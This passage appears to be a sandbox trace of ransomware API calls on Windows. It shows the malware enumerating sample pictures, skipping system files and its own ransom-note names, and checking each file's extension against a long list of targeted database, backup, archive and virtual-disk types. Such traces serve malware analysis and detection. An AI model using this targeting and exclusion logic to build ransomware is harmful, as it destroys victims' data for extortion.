	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.940] lstrlenW (lpString="udl") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.940] lstrlenW (lpString="usr") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.940] lstrlenW (lpString="v12") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.940] lstrlenW (lpString="vis") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.940] lstrlenW (lpString="vpd") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.940] lstrlenW (lpString="vvv") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.940] lstrlenW (lpString="wdb") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.940] lstrlenW (lpString="wmdb") returned 4
	[0035.940] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.940] lstrlenW (lpString="wrk") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.940] lstrlenW (lpString="xdb") returned 3
	[0035.941] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.941] lstrlenW (lpString="xld") returned 3
	[0035.941] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.941] lstrlenW (lpString="xmlff") returned 5
	[0035.941] lstrcmpiW (lpString1="e.jpg", lpString2="xmlff") returned -1
	[0035.941] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="..") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="windows") returned -1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="bootmgr") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="temp") returned -1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="pagefile.sys") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="boot") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="ids.txt") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="ntuser.dat") returned 1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="perflogs") returned -1
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2="MSBuild") returned 1
	[0035.941] lstrlenW (lpString="Penguins.jpg") returned 12
	[0035.941] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned 55
	[0035.941] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Penguins.jpg" | out: lpString1="Penguins.jpg") returned="Penguins.jpg"
	[0035.941] lstrlenW (lpString="Penguins.jpg") returned 12
	[0035.941] lstrlenW (lpString="Apollon865") returned 10
	[0035.941] lstrcmpiW (lpString1="nguins.jpg", lpString2="Apollon865") returned 1
	[0035.941] lstrlenW (lpString=".dll") returned 4
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".dll") returned 1
	[0035.941] lstrlenW (lpString=".lnk") returned 4
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".lnk") returned 1
	[0035.941] lstrlenW (lpString=".ini") returned 4
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".ini") returned 1
	[0035.941] lstrlenW (lpString=".sys") returned 4
	[0035.941] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".sys") returned 1
	[0035.941] lstrlenW (lpString="Penguins.jpg") returned 12
	[0035.941] lstrlenW (lpString="bak") returned 3
	[0035.941] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.942] lstrlenW (lpString="ba_") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.942] lstrlenW (lpString="dbb") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.942] lstrlenW (lpString="vmdk") returned 4
	[0035.942] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.942] lstrlenW (lpString="rar") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.942] lstrlenW (lpString="zip") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.942] lstrlenW (lpString="tgz") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.942] lstrlenW (lpString="vbox") returned 4
	[0035.942] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.942] lstrlenW (lpString="vdi") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.942] lstrlenW (lpString="vhd") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.942] lstrlenW (lpString="vhdx") returned 4
	[0035.942] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.942] lstrlenW (lpString="avhd") returned 4
	[0035.942] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.942] lstrlenW (lpString="db") returned 2
	[0035.942] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.942] lstrlenW (lpString="db2") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.942] lstrlenW (lpString="db3") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.942] lstrlenW (lpString="dbf") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.942] lstrlenW (lpString="mdf") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.942] lstrlenW (lpString="mdb") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.942] lstrlenW (lpString="sql") returned 3
	[0035.942] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.942] lstrlenW (lpString="sqlite") returned 6
	[0035.942] lstrcmpiW (lpString1="ns.jpg", lpString2="sqlite") returned -1
	[0035.943] lstrlenW (lpString="sqlite3") returned 7
	[0035.943] lstrcmpiW (lpString1="ins.jpg", lpString2="sqlite3") returned -1
	[0035.943] lstrlenW (lpString="sqlitedb") returned 8
	[0035.943] lstrcmpiW (lpString1="uins.jpg", lpString2="sqlitedb") returned 1
	[0035.943] lstrlenW (lpString="xml") returned 3
	[0035.943] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.943] lstrlenW (lpString="$er") returned 3
	[0035.943] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.943] lstrlenW (lpString="4dd") returned 3
	[0035.943] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.943] lstrlenW (lpString="4dl") returned 3
	[0035.943] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.943] lstrlenW (lpString="^^^") returned 3
	[0035.943] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.943] lstrlenW (lpString="abs") returned 3
	[0035.943] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.943] lstrlenW (lpString="abx") returned 3
	[0035.943] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.943] lstrlenW (lpString="accdb") returned 5
	[0035.943] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0035.943] lstrlenW (lpString="accdc") returned 5
	[0035.943] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0035.943] lstrlenW (lpString="accde") returned 5
	[0035.943] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0035.943] lstrlenW (lpString="accdr") returned 5
	[0035.943] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0035.943] lstrlenW (lpString="accdt") returned 5
	[0035.943] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0035.944] lstrlenW (lpString="accdw") returned 5
	[0035.944] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0035.944] lstrlenW (lpString="accft") returned 5
	[0035.944] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0035.944] lstrlenW (lpString="adb") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.944] lstrlenW (lpString="adb") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.944] lstrlenW (lpString="ade") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.944] lstrlenW (lpString="adf") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.944] lstrlenW (lpString="adn") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.944] lstrlenW (lpString="adp") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.944] lstrlenW (lpString="alf") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.944] lstrlenW (lpString="ask") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.944] lstrlenW (lpString="btr") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.944] lstrlenW (lpString="cat") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.944] lstrlenW (lpString="cdb") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.944] lstrlenW (lpString="ckp") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.944] lstrlenW (lpString="cma") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.944] lstrlenW (lpString="cpd") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.944] lstrlenW (lpString="dacpac") returned 6
	[0035.944] lstrcmpiW (lpString1="ns.jpg", lpString2="dacpac") returned 1
	[0035.944] lstrlenW (lpString="dad") returned 3
	[0035.944] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.944] lstrlenW (lpString="dadiagrams") returned 10
	[0035.944] lstrcmpiW (lpString1="nguins.jpg", lpString2="dadiagrams") returned 1
	[0035.944] lstrlenW (lpString="daschema") returned 8
	[0035.945] lstrcmpiW (lpString1="uins.jpg", lpString2="daschema") returned 1
	[0035.945] lstrlenW (lpString="db-journal") returned 10
	[0035.945] lstrcmpiW (lpString1="nguins.jpg", lpString2="db-journal") returned 1
	[0035.945] lstrlenW (lpString="db-shm") returned 6
	[0035.945] lstrcmpiW (lpString1="ns.jpg", lpString2="db-shm") returned 1
	[0035.945] lstrlenW (lpString="db-wal") returned 6
	[0035.945] lstrcmpiW (lpString1="ns.jpg", lpString2="db-wal") returned 1
	[0035.945] lstrlenW (lpString="dbc") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.945] lstrlenW (lpString="dbs") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.945] lstrlenW (lpString="dbt") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.945] lstrlenW (lpString="dbv") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.945] lstrlenW (lpString="dbx") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.945] lstrlenW (lpString="dcb") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.945] lstrlenW (lpString="dct") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.945] lstrlenW (lpString="dcx") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.945] lstrlenW (lpString="ddl") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.945] lstrlenW (lpString="dlis") returned 4
	[0035.945] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.945] lstrlenW (lpString="dp1") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.945] lstrlenW (lpString="dqy") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.945] lstrlenW (lpString="dsk") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.945] lstrlenW (lpString="dsn") returned 3
	[0035.945] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.945] lstrlenW (lpString="dtsx") returned 4
	[0035.945] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.946] lstrlenW (lpString="dxl") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.946] lstrlenW (lpString="eco") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.946] lstrlenW (lpString="ecx") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.946] lstrlenW (lpString="edb") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.946] lstrlenW (lpString="epim") returned 4
	[0035.946] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.946] lstrlenW (lpString="fcd") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.946] lstrlenW (lpString="fdb") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.946] lstrlenW (lpString="fic") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.946] lstrlenW (lpString="flexolibrary") returned 12
	[0035.946] lstrlenW (lpString="fm5") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.946] lstrlenW (lpString="fmp") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.946] lstrlenW (lpString="fmp12") returned 5
	[0035.946] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0035.946] lstrlenW (lpString="fmpsl") returned 5
	[0035.946] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0035.946] lstrlenW (lpString="fol") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.946] lstrlenW (lpString="fp3") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.946] lstrlenW (lpString="fp4") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.946] lstrlenW (lpString="fp5") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.946] lstrlenW (lpString="fp7") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.946] lstrlenW (lpString="fpt") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.946] lstrlenW (lpString="frm") returned 3
	[0035.946] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.947] lstrlenW (lpString="gdb") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.947] lstrlenW (lpString="gdb") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.947] lstrlenW (lpString="grdb") returned 4
	[0035.947] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.947] lstrlenW (lpString="gwi") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.947] lstrlenW (lpString="hdb") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.947] lstrlenW (lpString="his") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.947] lstrlenW (lpString="ib") returned 2
	[0035.947] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.947] lstrlenW (lpString="idb") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.947] lstrlenW (lpString="ihx") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.947] lstrlenW (lpString="itdb") returned 4
	[0035.947] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.947] lstrlenW (lpString="itw") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.947] lstrlenW (lpString="jet") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.947] lstrlenW (lpString="jtx") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.947] lstrlenW (lpString="kdb") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.947] lstrlenW (lpString="kexi") returned 4
	[0035.947] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.947] lstrlenW (lpString="kexic") returned 5
	[0035.947] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0035.947] lstrlenW (lpString="kexis") returned 5
	[0035.947] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0035.947] lstrlenW (lpString="lgc") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.947] lstrlenW (lpString="lwx") returned 3
	[0035.947] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.948] lstrlenW (lpString="maf") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.948] lstrlenW (lpString="maq") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.948] lstrlenW (lpString="mar") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.948] lstrlenW (lpString="marshal") returned 7
	[0035.948] lstrcmpiW (lpString1="ins.jpg", lpString2="marshal") returned -1
	[0035.948] lstrlenW (lpString="mas") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.948] lstrlenW (lpString="mav") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.948] lstrlenW (lpString="maw") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.948] lstrlenW (lpString="mdbhtml") returned 7
	[0035.948] lstrcmpiW (lpString1="ins.jpg", lpString2="mdbhtml") returned -1
	[0035.948] lstrlenW (lpString="mdn") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.948] lstrlenW (lpString="mdt") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.948] lstrlenW (lpString="mfd") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.948] lstrlenW (lpString="mpd") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.948] lstrlenW (lpString="mrg") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.948] lstrlenW (lpString="mud") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.948] lstrlenW (lpString="mwb") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.948] lstrlenW (lpString="myd") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.948] lstrlenW (lpString="ndf") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.948] lstrlenW (lpString="nnt") returned 3
	[0035.948] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.948] lstrlenW (lpString="nrmlib") returned 6
	[0035.948] lstrcmpiW (lpString1="ns.jpg", lpString2="nrmlib") returned 1
	[0035.948] lstrlenW (lpString="ns2") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.949] lstrlenW (lpString="ns3") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.949] lstrlenW (lpString="ns4") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.949] lstrlenW (lpString="nsf") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.949] lstrlenW (lpString="nv") returned 2
	[0035.949] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.949] lstrlenW (lpString="nv2") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.949] lstrlenW (lpString="nwdb") returned 4
	[0035.949] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.949] lstrlenW (lpString="nyf") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.949] lstrlenW (lpString="odb") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.949] lstrlenW (lpString="odb") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.949] lstrlenW (lpString="oqy") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.949] lstrlenW (lpString="ora") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.949] lstrlenW (lpString="orx") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.949] lstrlenW (lpString="owc") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.949] lstrlenW (lpString="p96") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.949] lstrlenW (lpString="p97") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.949] lstrlenW (lpString="pan") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.949] lstrlenW (lpString="pdb") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.949] lstrlenW (lpString="pdm") returned 3
	[0035.949] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.949] lstrlenW (lpString="pnz") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.950] lstrlenW (lpString="qry") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.950] lstrlenW (lpString="qvd") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.950] lstrlenW (lpString="rbf") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.950] lstrlenW (lpString="rctd") returned 4
	[0035.950] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.950] lstrlenW (lpString="rod") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.950] lstrlenW (lpString="rodx") returned 4
	[0035.950] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0035.950] lstrlenW (lpString="rpd") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.950] lstrlenW (lpString="rsd") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.950] lstrlenW (lpString="sas7bdat") returned 8
	[0035.950] lstrcmpiW (lpString1="uins.jpg", lpString2="sas7bdat") returned 1
	[0035.950] lstrlenW (lpString="sbf") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.950] lstrlenW (lpString="scx") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.950] lstrlenW (lpString="sdb") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.950] lstrlenW (lpString="sdc") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.950] lstrlenW (lpString="sdf") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.950] lstrlenW (lpString="sis") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.950] lstrlenW (lpString="spq") returned 3
	[0035.950] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.950] lstrlenW (lpString="te") returned 2
	[0035.950] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.950] lstrlenW (lpString="teacher") returned 7
	[0035.950] lstrcmpiW (lpString1="ins.jpg", lpString2="teacher") returned -1
	[0035.950] lstrlenW (lpString="tmd") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.951] lstrlenW (lpString="tps") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.951] lstrlenW (lpString="trc") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.951] lstrlenW (lpString="trc") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.951] lstrlenW (lpString="trm") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.951] lstrlenW (lpString="udb") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.951] lstrlenW (lpString="udl") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.951] lstrlenW (lpString="usr") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.951] lstrlenW (lpString="v12") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.951] lstrlenW (lpString="vis") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.951] lstrlenW (lpString="vpd") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.951] lstrlenW (lpString="vvv") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.951] lstrlenW (lpString="wdb") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.951] lstrlenW (lpString="wmdb") returned 4
	[0035.951] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.951] lstrlenW (lpString="wrk") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.951] lstrlenW (lpString="xdb") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.951] lstrlenW (lpString="xld") returned 3
	[0035.951] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.951] lstrlenW (lpString="xmlff") returned 5
	[0035.951] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0035.951] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1
	[0035.951] lstrcmpiW (lpString1="Tulips.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
